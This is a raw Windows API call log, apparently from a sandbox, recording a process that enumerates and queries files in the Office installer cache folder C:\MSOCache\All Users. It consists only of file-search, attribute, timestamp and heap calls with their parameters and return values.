FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.001] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0039.001] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0039.001] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0039.001] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0039.002] GetLastError () returned 0x12 [0039.002] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82a78) returned 1 [0039.002] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0039.002] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82b80) returned 1 [0039.002] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf82970) returned 1 [0039.002] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0039.002] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0039.002] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0039.002] FindNextFileW (in: hFindFile=0x60e6b0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0039.002] GetLastError () returned 0x12 [0039.002] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0039.002] FindClose (in: hFindFile=0x60e6b0 | out: hFindFile=0x60e6b0) returned 1 [0039.002] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0039.002] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0039.002] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0039.002] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.002] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.020] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0039.020] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0039.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0039.020] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0039.020] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0039.020] NtClose (Handle=0x180) returned 0x0 [0039.020] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0039.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0039.020] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0039.020] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0039.030] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.030] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="")) returned 1 [0039.031] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.031] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.032] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.032] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.032] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.991] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0039.992] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0039.993] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86348 [0039.993] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82970 [0039.993] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.993] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="")) returned 1 [0039.993] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86368 [0039.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82b80 [0039.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.995] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0039.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.997] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.998] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0039.998] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0039.999] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf86388 [0040.000] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf82a78 [0040.000] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.002] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.002] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.003] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.003] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.003] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.003] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.003] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf863a8 [0040.004] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf835d0 [0040.004] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.004] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.004] GetLastError () returned 0x12 [0040.004] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0e0 [0040.005] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0040.006] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.007] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="")) returned 1 [0040.007] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="")) returned 1 [0040.007] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0040.007] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.007] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.007] GetLastError () returned 0x12 [0040.008] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0040.008] FindClose (in: hFindFile=0x60d0e0 | out: hFindFile=0x60d0e0) returned 1 [0040.017] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0040.017] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0040.017] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.018] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.020] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0040.021] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0040.021] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0040.021] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0040.022] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0040.024] NtClose (Handle=0x188) returned 0x0 [0040.025] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.025] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.025] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0040.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0040.029] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.029] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0040.030] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0e0 [0040.448] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.448] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0040.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf863c8 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf836d8 [0040.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.449] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="")) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf863e8 [0040.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ae30 [0040.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0040.449] 